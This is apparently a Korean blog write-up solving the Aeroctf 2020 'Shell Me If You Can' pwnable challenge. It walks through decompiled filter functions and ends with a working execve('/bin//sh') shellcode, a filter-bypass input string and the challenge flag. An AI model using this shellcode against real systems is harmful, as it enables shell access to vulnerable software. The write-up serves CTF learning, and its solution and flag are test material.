SDJ( 수돈재 아님 ㅎ )

Aeroctf 2020 - Shell Me If You Can 본문

write-up/pwnable

Aeroctf 2020 - Shell Me If You Can

ShinDongJun 2020. 3. 1. 20:33

보호기법은 다음과 같다.

 

문제 자체는 몇몇 조건을 우회해서 쉘코드를 실행시키기만 하면 된다.

바이너리를 까보면

 

main 함수 분석

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
    _BYTE *v3; // rsi
    char *s; // [rsp+30h] [rbp-20h]
    void *dest; // [rsp+48h] [rbp-8h]
 
    sub_170F();
    dest = (void *)sub_1695(128LL);
    v3 = calloc(0x80uLL, 1uLL);
    read(0, v3, 0x80uLL);
    byte_4088 = v3[127];
    sub_164C(v3);
    memcpy(dest, v3, 0x80uLL);
    write(1&unk_2021, 4uLL);
    fflush(stdout);
    fflush(stdin);
    s = (char *)calloc(0x80uLL, 1uLL);
    s[(int)read(0, s, 0x80uLL) - 1= 0;
    if ( strlen(s) > 0xB )
        sub_1355(dest, s, 128LL);
    else
        sub_1355(dest, "R97S12-18L40C30", 128LL);
    if ( (unsigned int)sub_16E3(dest, 128LL) )
        exit(-1);
    return 0LL;
}

 

main가 작동하는 흐름을 간단히 정리하면 다음과 같다.

 

v3에 0x80만큼 할당하고 sub_164C함수를 거친 뒤 dest에 옮긴다.

s에 0x80만큼 할당하고 입력을 받는다.

s의 길이가 0xB보다 큰 경우 : sub_1355(dest, s, 128LL) 호출

s의 길니가 0xB보다 작거나 같은 경우 : sub_1355(dest, "R97S12-18L40C30", 128LL) 호출

 

 

v3를 dest에 옮기기 전 sub_164C 함수를 거치는데 분석해보자.

 

sub_164C 함수 분석

1
    byte_4088 = buf[127];
1
2
3
4
5
6
7
8
9
10
11
12
_BYTE *__fastcall sub_164C(__int64 a1)
{
    _BYTE *result; // rax
    int i; // [rsp+14h] [rbp-4h]
 
    for ( i = 0; i <= 127++i )
    {
        result = (_BYTE *)(i + a1);
        *result ^= byte_4088;
    }
    return result;
}

main에서 byte_4088에 buf[127]의 값을 넣고, sub_164C()함수에서 인자로 넘어온 배열을 전부 xor시킨다.

 

즉 처음 값을 넣은 v3의 값을 v3[127]로 xor시킨다.

 

이렇게 해서 나온 값이 dest에 들어가게 된다.

 

 

 

sub_1355함수를 분석

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
__int64 __fastcall sub_1355(__int64 a1, const char *a2, int a3)
{
    int v4; // [rsp+Ch] [rbp-64h]
    char v5[2]; // [rsp+21h] [rbp-4Fh]
    char v6; // [rsp+23h] [rbp-4Dh]
    char v7[2]; // [rsp+24h] [rbp-4Ch]
    char v8; // [rsp+26h] [rbp-4Ah]
    char v9[2]; // [rsp+27h] [rbp-49h]
    char v10; // [rsp+29h] [rbp-47h]
    char v11[2]; // [rsp+2Ah] [rbp-46h]
    char v12; // [rsp+2Ch] [rbp-44h]
    char nptr[2]; // [rsp+2Dh] [rbp-43h]
    char v14; // [rsp+2Fh] [rbp-41h]
    __int64 (*v15)(void); // [rsp+30h] [rbp-40h]
    int v16; // [rsp+3Ch] [rbp-34h]
    int v17; // [rsp+40h] [rbp-30h]
    int v18; // [rsp+44h] [rbp-2Ch]
    int v19; // [rsp+48h] [rbp-28h]
    int status; // [rsp+4Ch] [rbp-24h]
    char *v21; // [rsp+50h] [rbp-20h]
    __int64 v22; // [rsp+58h] [rbp-18h]
    int k; // [rsp+64h] [rbp-Ch]
    int j; // [rsp+68h] [rbp-8h]
    int i; // [rsp+6Ch] [rbp-4h]
 
    v4 = a3;
    v22 = a1;
    v21 = strchr(a2, 82);
    if ( !v21 )
        exit(-1);
    *(_WORD *)nptr = *(_WORD *)(v21 + 1);
    v14 = 0;
    status = 0;
    status = atoi(nptr);
    if ( !status || status <= 7 )
        exit(status);
    for ( i = 0; i < v4; ++i )
    {
        if ( *(_BYTE *)(i + v22) <= (unsigned __int8)status )
            *(_BYTE *)(i + v22) = -112;
    }
    v21 = 0LL;
    v21 = strchr(a2, 83);
    if ( !v21 )
        exit(-1);
    *(_WORD *)v11 = *(_WORD *)(v21 + 1);
    *(_WORD *)v9 = *((_WORD *)v21 + 2);
    v12 = 0;
    v10 = 0;
    v19 = 0;
    v18 = 0;
    v19 = atoi(v11);
    v18 = atoi(v9);
    if ( !v19 || !v18 || v19 == v18 || v19 == 144 || v18 == 144 )
        exit(v19 + v18);
    if ( v19 > 127 || v18 > 127 )
        exit(v18 * v19);
    for ( j = 0; j < v4; ++j )
    {
        if ( *(_BYTE *)(j + v22) == (_BYTE)v19 )
            *(_BYTE *)(j + v22) = v18;
    }
    v21 = 0LL;
    v21 = strchr(a2, 76);
    if ( !v21 )
        exit(-1);
    *(_WORD *)v7 = *(_WORD *)(v21 + 1);
    v8 = 0;
    v17 = 0;
    v17 = atoi(v7);
    if ( v17 > 128 || !v17 )
        exit(v17);
    for ( k = 0; k < v4; ++k )
    {
        if ( k > v17 )
            *(_BYTE *)(k + v22) = -112;
    }
    v21 = 0LL;
    v21 = strchr(a2, 67);
    if ( !v21 )
        exit(-1);
    *(_WORD *)v5 = *(_WORD *)(v21 + 1);
    v6 = 0;
    v16 = 0;
    v16 = atoi(v5);
    if ( !v16 || v16 > v17 )
        exit(v16);
    v15 = (__int64 (*)(void))(v16 + a1);
    return v15();
}

 

좀 길다.

시간을 들여서 분석을 해보면 대충 다음과 같은 함수라는 것을 알 수 있다.

1. 문자열 s에는 필수적으로 'R', 'S', 'L', 'C' 문자가 들어가야 한다.

 

각 문자마다 조건들이 있는데 그 부분을 분석해서 적어보면

 

R

문자열 s에서 R 다음에 있는 문자를 Rx라 할 때,

7 < atoi(Rx) 를 만족해야한다.

만족할 경우, 문자열 dest에서 atoi(Rx)보다 작은 값을 전부 0x90( nop )으로 바꾼다.

 

S

문자열 s에서 S 다음에 있는 문자와 그 다음에 있는 문자를 각각 Rx, Ry라 할 때,

atoi(Rx) != atoi(Ry)

atoi(Rx) != 0 && atoi(Ry) != 0

atoi(Rx) != 0x90 && atoi(Ry) != 0x90

을 만족해야한다.

 

만족할 경우, 문자열 dest에서 atoi(Rx)와 같은 값이 있을 경우 atoi(Ry)로 바꾼다.

 

L

문자열 s에서 L 다음에 있는 문자를 Lx라 할 때,

0 < atoi(Lx) <= 128

를 만족해야한다.

 

만족할 경우, 문자열 dest에서 atoi(Lx)번째부터 0x80번째까지 0x90( nop )으로 바꾼다.

 

C

문자열 s에서 C 다음에 있는 문자를 Cx라 할 때,

0 < atoi(Cx) <= atoi(Lx)

를 만족해야한다.

 

만족할 경우, 문자열 dest를 실행시킨다.

 

 

우회하는 방법은 여러가지가 있을 수 있겠지만..

 

나는 

"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05" 쉘코드를 썼고,

 

R문자를 S보다 먼저 체크하는 것을 이용하여 우회하기로 생각했다.

 

Rx( min : 8 ) 이하를 nop으로 바꾸기 때문에 마지막 \x05를 8보다 큰 어떤 값 X로 바꾸고

Sx에 X를 주고 Sy에 \x05를 주어서

쉘코드를 다시 원래대로 돌리는 방법을 택했다.

 

C가 0이면 안되서 1을 주고 쉘코드 맨 앞에 nop을 하나 주었다.

 

따라서 최종 완성된 쉘코드와 문자열 s는 다음과 같다.

shellcode : "\x90\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x22"

s : "R8S34+5L99C1"

 

 

FLAG : Aero{dad088ac762b071665d321c2aa22c5f84f66dca4e8865da998666d15b3ca0e0a}

 

'write-up > pwnable' 카테고리의 다른 글

utctf 2020 - zurk  (0) 2020.03.09
utctf 2020 - bof  (0) 2020.03.09
facebook ctf 2019 - overfloat  (0) 2020.02.07
facebook ctf 2019 - rank  (0) 2020.02.06
Defcon Qualifier 2019 - speedrun-009  (0) 2020.02.05
Comments